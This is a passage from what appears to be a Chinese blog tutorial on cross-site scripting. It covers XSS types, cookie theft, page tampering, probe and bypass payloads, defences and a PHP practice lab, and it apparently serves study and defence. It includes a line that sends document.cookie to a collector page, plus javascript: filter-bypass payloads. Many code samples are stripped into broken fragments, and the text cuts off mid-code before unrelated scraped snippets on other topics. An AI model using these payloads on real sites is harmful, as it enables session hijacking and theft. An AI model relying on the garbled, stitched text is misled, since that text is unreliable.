参考:OWASP关于xss修复建议
跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害。xss漏洞是web渗透测试中最常见而又使用最灵活的一个漏洞,近期在拜读了《白帽子讲web安全》、《Web实战篇》、《XSS跨站脚本攻击剖析与防御》等几部佳作后,决定整理关于Xss漏洞的一些知识,并以本篇作为记录,权当笔记or读后感。 本篇内容主要包含xss漏洞攻击与防御理论知识,以及结合原创的xss漏洞闯关平台,通过实操的方式展示xss的攻击以及防御方法。由于xss理论知识网上非常丰富,这里不做详细讲解,本篇内容着重实操练习的过程。
Xss分类
xss大致分为:反射型、存储型、DOM型(这三种为主流) 反射型xss:只是简单地把用户输入的数据”反射”给浏览器,攻击时需要用户配合点击,也叫”非持久型xss”。 存储型xss:会把用户输入的数据”存储”在服务器端,也叫”持久性xss”,常见留言板等可以提交展示用户输入内容的功能点。 DOM型xss:从是否存储可划分成反射型,可通过修改页面的DOM节点形成的xss漏洞。
注意:无论反射型还是存储型,都是需要与服务端交互的,即服务端将提交的内容反馈到了html源码内,导致触发xss,也就是说返回到html源码中可以看到触发xss的代码;而DOM型xss是不与服务端交互的,只与客户端上的js交互,也就是说提交的恶意代码,被放到了js中执行,然后显示出来。那么这种形式有一个问题,就是html源码里面不存在触发xss的代码,因为服务端返回的源码都是一样的,只不过源码里面包含了一段js,这段js再执行后生成了一段xss代码,可以在审查元素中查看到。
Xss危害
xss漏洞是发生在客户端,目的是让浏览器执行一段用户提交的恶意js代码,从而达到某种目的。从表面上看,xss漏洞的危害止步于客户端,且主要就是用来执行js获取用户信息(比如浏览器版本等等)。然而由于xss漏洞可能发生的地方很多,因此被利用的情况也不统一,以下列举了xss漏洞能够造成的一些危害(xss漏洞危害包含但不仅限于以下几种)。
cookie劫持(窃取cookie)
后台增删改文章等操作(类似于csrf骗取用户点击,利用js模拟浏览器发包,借助xmlhttprequest类)
钓鱼,利用xss构造出一个登录框,骗取用户账户密码。
Xss蠕虫(利用xss漏洞进行传播)
修改网页代码
利用网站重定向
获取用户信息(如浏览器信息,IP地址等)
利用xss窃取cookie
利用xss进行cookie获取劫持是最常用的一种姿势,因为其能获取到管理员权限,危害较大,且利用简单。
cookie介绍
cookie分为内存cookie和硬盘cookie,内存cookie储存在浏览器内存中,关闭浏览器则消失。cookie由变量名与值组成,其属性里有标准的cookie变量,也有用户自定义的属性。 cookie格式:Set-Cookie:=[;=][;expiress=][;domain=][;path=][;secure][;httponly] cookie各个参数详细内容:
Set-cookie:http响应头,向客户端发送cookie。
Name=value:每个cookie必须包含的内容。
Expires=date:EXpires确定了cookie的有效终止日期,可选。如果缺省,则cookie不保存在硬盘中,只保存在浏览器内存中。
Domain=domain-name:确定了哪些inernet域中的web服务器可读取浏览器储存的cookie,缺省为该web服务器域名。
Path=path:定义了web服务器哪些路径下的页面可获取服务器发送的cookie。
Secure:在cookie中标记该变量,表明只有为https通信协议时,浏览器才向服务器提交cookie。
Httponly:禁止javascript读取,如果cookie中的一个参数带有httponly,则这个参数将不能被javascript获取;httponly可以防止xss会话劫持攻击。
利用xss窃取cookie方法
本地写一个xss_cookie.php页面,用于接收cookie。 在存在xss漏洞的地方,插入以下代码,便可以将cookie发送到xss_cookie.php,并且将cookie参数传递进去,写入文件中。 常用获取cookie的js代码(可自行扩展):
1
2
"http://localhost/cspt/XSS_cookie.php?cookie='+document.cookie">
提交之后,本地cookie.txt文件中就会写入cookie值。
利用xss篡改网页
前提:网站必须存在存储型xss漏洞,并且会将结果返回到页面上。 这样我们就可以插入一段js代码,作用在于获取网站源码中的标签,然后修改其中的属性值,达到修改网页的效果。 实例:修改网站所有连接地址 本地编写一个test.js脚本,内容如下: 将以下语句插入存在存储型xss漏洞的网站
可以发现存在该漏洞的网页上所有的链接都变成了www.google.com。
注:javascript加载外部的代码文件可以是任意扩展名(无扩展名也可以)
利用xss获取用户信息
xss获取用户信息,运用最多的还是获取cookie信息,但除此之外,还可以获取用户浏览器版本、外网IP地址、浏览器安装的插件类型等等。以下列举了利用xss获取的客户端用户信息(包含但不仅限于以下几种)。
alert(navigator.userAgent);读取userAgent内容
alert(document.cookie);读取用户cookie内容
利用java环境,调用java Applet的接口获取客户端本地IP
注:利用Xss漏洞能做的事有很多,前面已经列举了一些,这里便不对每一个都展开讲解,如需了解更多的xss漏洞内容,最好的方式还是看书。
Xss漏洞探测
前面介绍了一些xss漏洞的基础内容,那么如何去检测一个网站(某个点)是否存在xss漏洞呢?
xss探针
我们可以在测试xss的位置写入以下代码,查看页面源码,观察哪些代码被过滤或者转义。
xss探针可检测出网站有没有对xss漏洞做最基础的防御。
基础xss语句
除了xss探针以外,我们也可以输入最简单的测试语句:
如果插入的语句被原封不动的呈现在了浏览器中,那么说明了2个问题:
代码没有被过滤,说明存在xss
代码没有被执行,因为没有闭合类似textarea标签,可以查看下源码。
如果发现某些参数被过滤了,那么尝试使用其他方式(详细介绍在绕过一节会讲)。
xss检测常用语句
列举一些常用的xss漏洞检测代码:
1
2
3
4
5
6
7
8
//用分号,也可以分号+空格(回车一起使用)
nmask
'1')>
Xss防御
如何利用xss漏洞实施攻击并不是身为安全工程师的重点,xss防御才是我们努力要去做的。以下列举几种常见的xss防御方式,个人认为也是非常有效的方式。
可在cookie中设置httponly(浏览器禁止页面的js访问带有httponly属性的cookie)
xss filter(检查输入,设置白名单方式)
输出检查(编码,转义,常用编码:html编码,js编码,16进制等)
针对不同位置的输出,使用不同的处理方式
处理富文本
header中使用content-Sencurity-Policy字段,规定请求js的域名白名单(CSP策略)
设置httponly
httponly无法完全的防御xss漏洞,它只是规定了不能使用js去获取cookie的内容,因此它只能防御利用xss进行cookie劫持的问题。Httponly是在set-cookie时标记的,可对单独某个参数标记也可对全部参数标记。由于设置httponly的方法比较简单,使用也很灵活,并且对防御cookie劫持非常有用,因此已经渐渐成为一种默认的标准。
xss filter
Xss filter往往是一个文本文件,里面包含了允许被用户输入提交的字符(也有些是包含不允许用户提交的字符)。它检测的点在于用户输入的时候,xss filter分为白名单与黑名单,推荐使用白名单,但即使使用白名单还是无法完全杜绝xss问题,并且使用不当可能会带来很高的误报率。
编码转义
编码方式有很多,比如html编码、url编码、16进制编码、javascript编码等。 在处理用户输入时,除了用xss filter的方式过滤一些敏感字符外,还需要配合编码,将一些敏感字符通过编码的方式改变原来的样子,从而不能被浏览器当成js代码执行。
处理富文本
有些网页编辑器允许用户提交一些自定义的html代码,称之为”富文本”。想要在富文本处防御xss漏洞,最简单有效的方式就是控制用户能使用的标签,限制为只能使用a、div 等安全的标签。
处理所有输出类型的xss漏洞
xss漏洞本质上是一种html注入,也就是将html代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义。
HTML标签中输出
即用户输入的内容直接在标签中显示:
防御方式,将用户输入进行html编码。
HTML属性中输出
即用户输入的内容出现在标签的某个属性中:
防御方式,将用户输入进行html编码。
Script标签中输出
即用户输入的内容出现在script标签里面:
1
2
3
var a="$input " ; // $input =";alert(/xss/);//" ; 则会产生xss漏洞
防御方式,将用户输入进行javascript编码。
在事件中输出
即在事件标签中输出用户输出的内容,比如onclick标签等。 防御方式,将用户输入进行javascript编码。
在CSS中输出
即用户输入的内容出现在了css的style等标签中。 防御方式,进行十六进制编码。
在地址中输出
这个跟在html属性中输出类似,即在a标签的href属性中输出。 防御方式,将用户输入进行url编码。
总结:总得来说防御xss的方式只是三种:httponly、过滤字符、转义字符。然而使用何种编码转义,什么地方需要做转义才是真正防御xss漏洞的难点及重点,如果能搞明白并解决这个问题,那么xss漏洞将会无处可寻。————《白帽子将web安全》一书xss篇读后感。
Xss绕过技巧
有xss防御便会有xss绕过防御姿势,这是攻与防不断博弈的表现与成果。作为一名安全工程师,了解如何绕过xss防御可以更好地解决xss防御问题。(这里探讨的绕过xss防御不包含绕过waf的部分)
绕过xss filter
绕过xss filter的前提在于,xss filter使用了黑名单,并且没有过滤完全。 前提一:如果过滤了”《script》”字符串,但没有过滤”<”、”>”字符,则可以使用javascript:[code]伪协议的形式。
1
"javascript:alert('test');">
前提二:过滤了《script》,且只过滤一次。
前提三:没有正确处理空格、回车等字符
1
2
3
"javas
Cript:
Alert(/xss/)" width=100>
关于绕过xss filter的方式还有很多,这里不一一展开了,只是列举下常见的方法:
转换大小写
大小写混写
双引号改单引号
引号改为/
用全角字符
使用javascript伪协议
使用回车、空格等特殊字符
在css的style中使用/**/注释符
使用字符编码
利用事件触发xss
Xss闯关实操
为了加深对xss漏洞的理解,我特意用php编写了一套xss闯关练习平台,里面包含了一些常见的xss防御题型,我们需要做的就是如何去绕过这些防御,以及思考这些防御的弱点在于哪里? xss闯关练习平台页面展示: 因为时间有限,并没有对页面进行美化,凑合着用用~!~。 平台题目由易到难,接下来的实操以及介绍也会从简单到复杂。介绍时,我会分别展示php源码中的防御方式(展示服务端代码),以及如何去绕过这些防御(展示客户端html代码)。
无任何过滤
下图是最简单的一个xss练习例子,网页从url中获取参数id的值,直接在页面中显示出来,没有做任何过滤。 查看网页源代码: 查看php代码:
1
2
$id =$_GET ['id' ];
echo '当前提交的参数:' .'' .$id .'' ;
过滤《script》
那么一般情况下,网站不可能对用户输入不做任何过滤,比如以下案例: 通过观察html代码我们可以看到过滤了《script》以及《/script》,查看下php代码:
1
2
3
4
$id =$_GET ['id' ];
$id =preg_replace("/
你可能感兴趣的:(网络安全)
【数据分析】抓包工具的定义常见类型分类使用场景及注意事项
抓包工具的定义常见类型分类使用场景及注意事项-CSDN直播抓包工具的定义常见类型分类使用场景及注意事项抓包工具的定义常见类型分类使用场景及注意事项抓包工具概述抓包工具顾名思义是一种用于捕获并分析网络数据包的软件或硬件工具它能够在数据传输过程中截取并记录网络流量让用户能够深入理解并排查网络问题这类工具的用途广泛从网络安全测试到应用程序调试都离不开抓包工具的帮助在众多的抓包工具中WiresharkFi
《跨域资源共享CORS的深层逻辑与前端实践精要》
不同源头的资源交互已成为常态,而跨域资源共享(CORS)正是支撑这种交互的隐形架构。现代Web安全体系中平衡开放与防护的精妙设计。理解CORS的深层逻辑,不仅能解决实际开发中的跨域难题,更能触及网络安全与资源流通的核心矛盾,为前端工程师构建稳健的应用提供底层认知支撑。跨域资源共享的诞生,源于网络安全与应用发展的必然冲突。浏览器的同源策略,作为早期网络安全的基石,通过限制不同源文档的交互,有效阻挡了
中国顶级黑客名单
2501_92914741
facebook twitter paddle 微信开放平台
网名:KING真实名字:谭绪武OICQ:1576172简介:原中国黑客联盟站长,2001年中]=美黑客大战领军人物之一,中国第1代黑客之一,中国最早期黑客组织中国黑客联盟的创始人,中国黑客界泰斗级元老,中国传奇黑客。网名:sunx真实姓名:孙华OICQ:239670简介:资深网络安全专家、软件设计师、Unix专家,在黑客、病毒等技术上均具有顶尖级水平,对系统内核研究有很高的造诣,程序反编译、跟踪、
Centos7防火墙
会飞的灰大狼
Centos7 linux
Centos7防火墙前言:本来想在系统那里去说防火墙但防火墙要说的要很多使用单独做一章文章去讲防火墙~~在CentOS7中,防火墙是保障系统网络安全的核心组件,默认采用firewalld作为防火墙管理工具(替代了CentOS6的iptables服务),底层仍基于iptables内核模块实现规则控制。iptablesiptables命令的完整格式较为复杂,其核心结构由命令选项、表(table)、
网络安全架构与网络拓扑的深度解析
火箭统
网络安全 攻击面减少 网络架构 网络拓扑 数据包转发
背景简介网络安全是当前信息时代的核心挑战之一,随着网络技术的快速发展,攻击手段也日益多样化。本篇博客文章基于提供的书籍章节内容,深入分析网络安全中的攻击面减少策略、网络架构的设计与管理,以及不同网络拓扑的特点,旨在为读者提供一个全面的网络安全知识框架。攻击面减少攻击面是指一个系统或软件暴露给潜在攻击者的全部潜在入口点。减少攻击面是提高网络安全的有效手段之一。通过减少运行的代码量、限制未受信任用户的
网络安全第14集
不灭锦鲤
web安全 安全
前言:小迪安全14集,这集重点内容:0、什么是js渗透测试?在javascript中也存在变量和函数,存在可控变量和函数就有可能存在在漏洞,js开发的web应用和php、java开发的区别是,js能看得到的源代码,php看不到,但是风险就是未授权访问、配置信息泄露(加密算法、key秘钥等),源代码看得到,存在更多的url泄露,从而可能会出现未授权访问,从url,前提:web应用可以采用前端语言或后
与网络安全相比,为什么只会Python很难找到工作?
程序员羊羊
网安工程师 网络安全 黑客 web安全 python 安全 数据库 网络 开发语言 学习
前言作为一门广泛应用的编程语言,Python在众多领域中都有着不可忽视的地位。然而,对于那些寻求就业的程序员来说,仅仅掌握Python可能并不足以让他们轻松地找到一份理想的工作。本文将深入探讨为什么只会Python很难找到工作,以及分析在职程序员在Python岗位上可能会遇到的一些情况。一、Python的优势与局限性Python的优势Python作为一种高级编程语言,具有简洁、易读、易于学习等特点
网络安全三要素
岁月静好2025
安全
网络安全三要素1.保密性信息的保密性(Confidentiality)是网络安全的核心概念之一,它指的是确保信息只能被授权的用户访问,防止数据泄露给未授权的个人、系统或过程2。1.1保密性的核心含义限制访问:只有经过授权的用户才能查看或使用敏感信息。防止泄露:避免信息在传输、存储或处理过程中被窃取或监听。保护隐私:确保个人、企业或国家的隐私数据不被非法获取。1.3实现保密性的常见技术技术手段作用说
运维-资产梳理
资产梳理一、明确目标与范围1.1、确定梳理目的网络安全:缩小攻击面、识别风险点。资源配置:优化资源利用率、降低成本。合规要求:满足法律法规或行业标准(如等保、ISO27001)。1.2、界定资产范围物理资产:服务器、网络设备、终端设备、IoT设备等。数字资产:操作系统、数据库、应用程序、域名、IP地址、云资源、容器/K8s集群、SaaS应用。数据资产:敏感数据(如客户信息、财务数据)、业务数据、备
AI+MCP智能研判系统架构
AI+MCP智能研判系统架构1.系统概述1.1核心理念AI+MCP智能研判系统是一个创新的网络安全分析平台,通过将大语言模型(LLM)的智能理解能力与MCP(ModelContextProtocol)协议的标准化工具调用能力相结合,实现了"自然语言提问→AI智能理解→MCP工具调用→AI深度研判→智能结果输出"的完整闭环。1.2技术创新点智能意图识别:基于LLM的自然语言理解,自动解析用户查询意图
AI驱动的安全自动化响应架构设计
TechVision大咖圈
架构设计合集 人工智能 人工智能 安全 自动化 安全架构 架构设计
作者寄语:在这个数字化转型的时代,安全不再是"事后诸葛亮",而应该是"未卜先知"。希望这套架构设计能为你的安全建设提供一些启发和参考。如果你有任何问题或想法,欢迎一起交流探讨!文章目录1.引言:当AI遇上网络安全传统安全响应的痛点AI自动化的必要性2.架构设计核心理念设计原则关键能力要求3.系统架构全景图整体架构概览核心组件介绍4.数据处理与威胁检测层数据采集引擎AI检测算法5.智能决策与响应层决
【网络安全】DDOS攻击
第十六年盛夏.
网安 web安全 ddos 安全
如果文章不足还请各位师傅批评指正!你有没有过这种经历:双11抢券时页面卡成幻灯片,游戏团战突然全员掉线,刷视频时进度条永远转圈圈?除了“网渣”,可能还有个更糟的原因——你正被DDoS攻击“堵门”了!今天用3分钟讲透:什么是DDoS?它和其他攻击有啥区别?怎么发现?怎么防?先看个“生活化栗子”:什么是DDoS攻击?想象你常去的奶茶店,平时10个顾客能轻松接待。突然某天,来了1000个“假顾客”——他
网络安全基础知识【4】
DNS的主要作用DNS服务器可以为客户机提供“域名与IP地址”的地址解析服务简述DNS正向反向的含义正向:根据域名查找IP地址反向:根据IP地址查找域名简述常见的DNS资源记录类型,并描述各自的含义A:正向解析PTR:反向解析(将IP地址映射为域名)CNAME:别名解析DNS域名解析查询方式的分类1、递归查询2、迭代查询DHCP的作用可以给终端联网设备分配网络参数DHCP有哪些角色1、DHCP服务
Qt 网络编程进阶:网络安全与加密
编程与实战
Qt一站式学习 qt 网络 web安全 c++ c语言
在当今数字化时代,网络安全已成为软件开发中不可忽视的关键环节。Qt作为一款强大的跨平台应用开发框架,提供了全面的网络安全与加密功能,帮助开发者构建安全可靠的网络应用。本文将深入探讨Qt网络编程中的安全与加密技术,包括SSL/TLS通信、数据加密、证书管理、安全认证等方面的核心知识与实践经验。一、SSL/TLS基础配置1.启用HTTPS通信#include#include#include#inclu
网站渗透测试完全手册:零基础到进阶,系统学习网络安全攻防
渗透测试介绍渗透测试就是模拟攻击者入侵系统,对系统进行一步步地渗透,发现系统地脆弱环节和隐藏风险。最后形成测试报告提供给系统所有者。系统所有者可根据该测试报告对系统进行加固,提升系统的安全性,防止真正的攻击者入侵。渗透测试的前提一定是得经过系统所有者的授权!未经过授权的渗透测试,就是违法行为!渗透测试意义信息安全评估的重要方法,有利于掌握系统整体安全强度。模拟黑客攻击和思维,评估计算机潜在风险。发
2025年网络安全工程师转行指南:必备技能与入行路径
对于提出这个问题的小伙伴来讲,首先,已经明确了是要转行的,并且是清晰了网络安全行业,对于目标感非常强的转行小伙伴来讲,知了姐分别从个人条件、行业、学习方法等三个层面来提供关于“转行人员想做网络安全工程师有哪些要求?”。1、个人学习条件个人学习条件主要关注以下三个方面:专业、学历、年龄。网络安全因目前行业发展非常快速,企业用人需求也非常大,企业对于学历没有太多硬性要求,学历专科/本科都可以,但如果是
网信安全丨十个方面100个网络安全相关知识点,快来学习! 从零基础到精通,收藏这篇就够了!
七七Seven~
web安全 安全 学习 服务器 机器学习 网络
网络安全风险无处不在,现梳理了100个网络安全相关的小知识,希望能进一步提升大家的安全意识,帮助大家建立更加安全的网络环境。一、账号密码安全1.如果有初始密码,应尽快修改。2.密码长度不少于8个字符。3.不要使用单一的字符类型,例如只用小写字母,或只用数字。4.用户名与密码不要使用相同字符。5.常见的弱口令尽量避免设置为密码。6.自己、家人、朋友、亲戚、宠物的名字避免设置为密码。7.生日、结婚纪念
【超长爽文】网络安全从业者面试指南(非常详细)从零基础入门到精通,收藏这篇就够了
黑客阿伦
web安全 开发语言 网络 安全 网络安全 计算机网络
文章为笔者偶然看到的github项目《网络安全面试指南》,作者FeeiCN,读完内容深感作者的用心,尽管一些观点因为时间原因与当下行情存在差异,但仍旧值得大家参考,希望能给大家在这行业寒冬带来一些启发,愿正在找工作的朋友一切顺利。多年来筛选了数以千记的简历,为何很多人连面试的机会都没有?参与了数以百记的应聘者的面试,为何如此多的人没有通过最终面试?能力当然是最重要的,可我却见过很多能力不比已经入职
【网络安全】Metasploit 生成的 Shellcode 的导入函数解析以及执行流程分析(1)
IT老涵
程序员 安全 网络 网络安全 信息安全 计算机网络
2021年4月,研究人员深入分析了CobaltStrike渗透测试技术,以及它的一些签名规避技术是如何在检测技术下失效的。在本文中,我们将深入讨论Metasploit,这是一个可以与CobaltStrike互操作的常用框架。在本文中,我们将讨论以下主题:shellcode的导入解析——Metasploitshellcode如何定位来自其他DLL的函数,以及我们如何预先计算这些值来解析来自其他有效载
泷羽sec专题课笔记-- Linux作业--开机自启动方法以及破解
grrrr_1
笔记 web安全 网络
本笔记为泷羽sec《红队全栈课程》学习笔记,课程请可自行前往B站学习,课程/笔记主要涉及网络安全相关知识、系统以及工具的介绍等,请使用该课程、本笔记以及课程和笔记中提及工具的读者,遵守网络安全相关法律法规,切勿进行违法违规违纪的操作。写在最前面的话,我们为什么要学习网络安全这门技术:维护国家安全防范网络攻击:网络安全威胁已成为国家安全的重要挑战。学习网络安全有助于识别和防范来自国内外的网络攻击,防
sudo rm -rf /* → sudo jail -t 3650:当Linux命令遇上《个人信息保护法》
Akins2025
linux python c++
尊敬的审核:本人文章《sudorm-rf/*→sudojail-t3650:当Linux命令遇上〈个人信息保护法〉》1.纯属技术交流,无任何违法内容2.所有法律引用均来自公开条文3.请依据《网络安全法》第12条“不得无故删除合法内容”处理附:本文结构已通过区块链存证【著作权声明】•2025年7月21日19:08前所有文章已通过CSDN实名认证追溯•合规技术交叉内容已申请存证(区块链时间戳)•侵权必
《网络安全审查办法》极客生存指北(赛博朋克版):怎么在数据洪流中优雅地狗住
尊敬的审核:本人文章《〈网络安全审查办法〉极客生存指北(赛博朋克版):怎么在数据洪流中优雅地狗住》1.纯属技术交流,无任何违法内容2.所有法律引用均来自公开条文3.请依据《网络安全法》第12条“不得无故删除合法内容”处理附:本文结构已通过区块链存证【著作权声明】•2025年7月21日19:08前所有文章已通过CSDN实名认证追溯•法律技术交叉内容已申请存证(区块链时间戳)•侵权必究(参考《刑法》第
(路过一下……)如何用Clang助攻码农兄弟打赢爱情保卫战
Akins2025
c++
尊敬的审核:本人文章《(路过一下……)如何用Clang助攻码农兄弟打赢爱情保卫战》1.纯属技术交流,无任何违法内容2.所有法律引用均来自公开条文3.请依据《网络安全法》第12条“不得无故删除合法内容”处理附:本文已存证(副标题:当gcc-O2遇到《民法典》第1079条)一、核心技术:婚姻法LLVM前端cpp//爱情矛盾诊断系统if(wife.anger>0x7FFFFFFF){clang-emit
《职工带薪年假条例》硅基奴隶解放工具.jar——程序猿的第一课应该是学会休息
Akins2025
c++ python bash java
尊敬的审核:本人文章《〈职工带薪年假条例〉硅基奴隶解放工具.jar——程序猿的第一课应该是学会休息》1.纯属技术交流,无任何违法内容2.所有法律引用均来自公开条文3.请依据《网络安全法》第12条“不得无故删除合法内容”处理附:本文结构已通过区块链存证java/***《职工带薪年假条例》V2025.7.27程序猿特供版*编译环境:JDK1.8(因为公司还没升级)*依赖包:*importjava.ut
网络安全-网络安全智能体所有详细工作原理和架构及案例
大家读完觉得有帮助记得关注和点赞!!!网络安全智能体(AISecurityAgent)是人工智能与网络安全融合的新范式,通过自主感知、分析决策、联动响应实现动态防护,正在重构传统“人防为主”的安全体系。以下从工作原理、架构设计、行业案例三方面进行深度解析:一、工作原理:三层认知闭环与动态进化1.核心能力分层(L1-L5标准)等级能力特征代表产品L1基础辅助型单步推理,处理预定义任务(如告警初判)9
26、网络安全与故障排查:OpenVPN与iptables的综合应用
y7z8a9
网络安全 iptables
网络安全与故障排查:OpenVPN与iptables的综合应用1.OpenVPN安全与配置1.1OpenVPN服务器加固OpenVPN服务器是网络的入口,因此加固服务器并保护其免受攻击至关重要。可以采取以下步骤来加固服务器:-安装操作系统的最小服务器版本,不安装任何不必要的软件。-禁用所有不必要的服务。-仅保留系统中必要的用户。-撤销不再需要访问权限的用户的证书(如清单9-8所示)。-使用双因素认
零基础学后端-PHP语言(第二期-PHP基础语法)(通过php内置服务器运行php文件)
恰薯条的屑海鸥
php零基础学习 php 开发语言 后端 php入门 php服务器 php文件运行
经过上期的配置,我们已经有了php的开发环境,编辑器我们继续使用VScode,如果是新来的朋友可以看这期文章来配置VScode零基础学前端-传统前端开发(第一期-开发软件介绍与本系列目标)(VScode安装教程)_vscode启动前端详细步骤-CSDN博客(本系列不过多介绍php的vscode插件,没有插件也是可以用的,只是打代码的速度慢一点)接下来我们来了解php的语法看过我之前网络安全-皮卡丘
从零起步:30岁转行网络安全的实战指南
程序员罗知知
web安全 网络 安全 sql 数据库 apache 零基础
从零起步:30岁转行网络安全的实战指南当你决定在30岁转行进入网络安全领域,那感觉就像突然跳进了深不见底的大海,既兴奋又有点怕水。但别担心,这条路上并不孤单。下面,咱就聊聊怎么一步步走向成功。转型之初的迷茫与方向认清自我是第一步。得知道自己到底对哪块感兴趣,是想搞渗透测试,还是更喜欢安全开发?比如我对Linux和编程特别着迷,于是选择了渗透测试作为切入点。接着就是学习资源的选择。网络上信息多得让人
CTF入门教程(非常详细)从零基础入门到竞赛,看这一篇就够了!
网络安全宇哥
web安全 安全 网络 网络安全 安全架构
一、CTF简介CTF(CaptureTheFlag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCONCT
#渗透测试#网络安全#一文了解什么是中间件!!!
独行soc
一文了解 网络安全 web安全 网络 安全 漏洞挖掘 面试 中间件 架构
免责声明本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。目录一、什么是中间件中间件的定义中间件的功能中间件的分类二、中间件技术的发展趋势三、中间件在云上的应用四、云中间件高可用性实现方法五、云中间件集群管理最佳实践六、云中间件性能监控指标详解七、提
C/C++Win32编程基础详解视频下载
择善Zach
编程 C++ Win32
课题视频:C/C++Win32编程基础详解
视频知识:win32窗口的创建
windows事件机制
主讲:择善Uncle老师
学习交流群:386620625
验证码:625
--
Guava Cache使用笔记
bylijinnan
java guava cache
1.Guava Cache的get/getIfPresent方法当参数为null时会抛空指针异常
我刚开始使用时还以为Guava Cache跟HashMap一样,get(null)返回null。
实际上Guava整体设计思想就是拒绝null的,很多地方都会执行com.google.common.base.Preconditions.checkNotNull的检查。
2.Guava
解决ora-01652无法通过128(在temp表空间中)
0624chenhong
oracle
解决ora-01652无法通过128(在temp表空间中)扩展temp段的过程
一个sql语句后,大约花了10分钟,好不容易有一个结果,但是报了一个ora-01652错误,查阅了oracle的错误代码说明:意思是指temp表空间无法自动扩展temp段。这种问题一般有两种原因:一是临时表空间空间太小,二是不能自动扩展。
分析过程:
既然是temp表空间有问题,那当
Struct在jsp标签
不懂事的小屁孩
struct
非UI标签介绍:
控制类标签:
1:程序流程控制标签 if elseif else
<s:if test="isUsed">
<span class="label label-success">True</span>
</
按对象属性排序
换个号韩国红果果
JavaScript 对象排序
利用JavaScript进行对象排序,根据用户的年龄排序展示
<script>
var bob={
name;bob,
age:30
}
var peter={
name;peter,
age:30
}
var amy={
name;amy,
age:24
}
var mike={
name;mike,
age:29
}
var john={
大数据分析让个性化的客户体验不再遥远
蓝儿唯美
数据分析
顾客通过多种渠道制造大量数据,企业则热衷于利用这些信息来实现更为个性化的体验。
分析公司Gartner表示,高级分析会成为客户服务的关键,但是大数据分析的采用目前仅局限于不到一成的企业。 挑战在于企业还在努力适应结构化数据,疲于根据自身的客户关系管理(CRM)系统部署有效的分析框架,以及集成不同的内外部信息源。
然而,面对顾客通过数字技术参与而产生的快速变化的信息,企业需要及时作出反应。要想实
java笔记4
a-john
java
操作符
1,使用java操作符
操作符接受一个或多个参数,并生成一个新值。参数的形式与普通的方法调用不用,但是效果是相同的。加号和一元的正号(+)、减号和一元的负号(-)、乘号(*)、除号(/)以及赋值号(=)的用法与其他编程语言类似。
操作符作用于操作数,生成一个新值。另外,有些操作符可能会改变操作数自身的
从裸机编程到嵌入式Linux编程思想的转变------分而治之:驱动和应用程序
aijuans
嵌入式学习
笔者学习嵌入式Linux也有一段时间了,很奇怪的是很多书讲驱动编程方面的知识,也有很多书将ARM9方面的知识,但是从以前51形式的(对寄存器直接操作,初始化芯片的功能模块)编程方法,和思维模式,变换为基于Linux操作系统编程,讲这个思想转变的书几乎没有,让初学者走了很多弯路,撞了很多难墙。
笔者因此写上自己的学习心得,希望能给和我一样转变
在springmvc中解决FastJson循环引用的问题
asialee
循环引用 fastjson
我们先来看一个例子:
package com.elong.bms;
import java.io.OutputStream;
import java.util.HashMap;
import java.util.Map;
import co
ArrayAdapter和SimpleAdapter技术总结
百合不是茶
android SimpleAdapter ArrayAdapter 高级组件基础
ArrayAdapter比较简单,但它只能用于显示文字。而SimpleAdapter则有很强的扩展性,可以自定义出各种效果
ArrayAdapter;的数据可以是数组或者是队列
// 获得下拉框对象
AutoCompleteTextView textview = (AutoCompleteTextView) this
九封信
bijian1013
人生 励志
有时候,莫名的心情不好,不想和任何人说话,只想一个人静静的发呆。有时候,想一个人躲起来脆弱,不愿别人看到自己的伤口。有时候,走过熟悉的街角,看到熟悉的背影,突然想起一个人的脸。有时候,发现自己一夜之间就长大了。 2014,写给人
Linux下安装MySQL Web 管理工具phpMyAdmin
sunjing
PHP Install phpMyAdmin
PHP http://php.net/
phpMyAdmin http://www.phpmyadmin.net
Error compiling PHP on CentOS x64
一、安装Apache
请参阅http://billben.iteye.com/admin/blogs/1985244
二、安装依赖包
sudo yum install gd
分布式系统理论
bit1129
分布式
FLP
One famous theory in distributed computing, known as FLP after the authors Fischer, Lynch, and Patterson, proved that in a distributed system with asynchronous communication and process crashes,
ssh2整合(spring+struts2+hibernate)-附源码
白糖_
eclipse spring Hibernate mysql 项目管理
最近抽空又整理了一套ssh2框架,主要使用的技术如下:
spring做容器,管理了三层(dao,service,actioin)的对象
struts2实现与页面交互(MVC),自己做了一个异常拦截器,能拦截Action层抛出的异常
hibernate与数据库交互
BoneCp数据库连接池,据说比其它数据库连接池快20倍,仅仅是据说
MySql数据库
项目用eclipse
treetable bug记录
braveCS
table
// 插入子节点删除再插入时不能正常显示。修改:
//不知改后有没有错,先做个备忘
Tree.prototype.removeNode = function(node) {
// Recursively remove all descendants of +node+
this.unloadBranch(node);
// Remove
编程之美-电话号码对应英语单词
bylijinnan
java 算法 编程之美
import java.util.Arrays;
public class NumberToWord {
/**
* 编程之美 电话号码对应英语单词
* 题目:
* 手机上的拨号盘,每个数字都对应一些字母,比如2对应ABC,3对应DEF.........,8对应TUV,9对应WXYZ,
* 要求对一段数字,输出其代表的所有可能的字母组合
jquery ajax读书笔记
chengxuyuancsdn
jQuery ajax
1、jsp页面
<%@ page language="java" import="java.util.*" pageEncoding="GBK"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()
JWFD工作流拓扑结构解析伪码描述算法
comsci
数据结构 算法 工作 活动 J#
对工作流拓扑结构解析感兴趣的朋友可以下载附件,或者下载JWFD的全部代码进行分析
/* 流程图拓扑结构解析伪码描述算法
public java.util.ArrayList DFS(String graphid, String stepid, int j)
oracle I/O 从属进程
daizj
oracle
I/O 从属进程
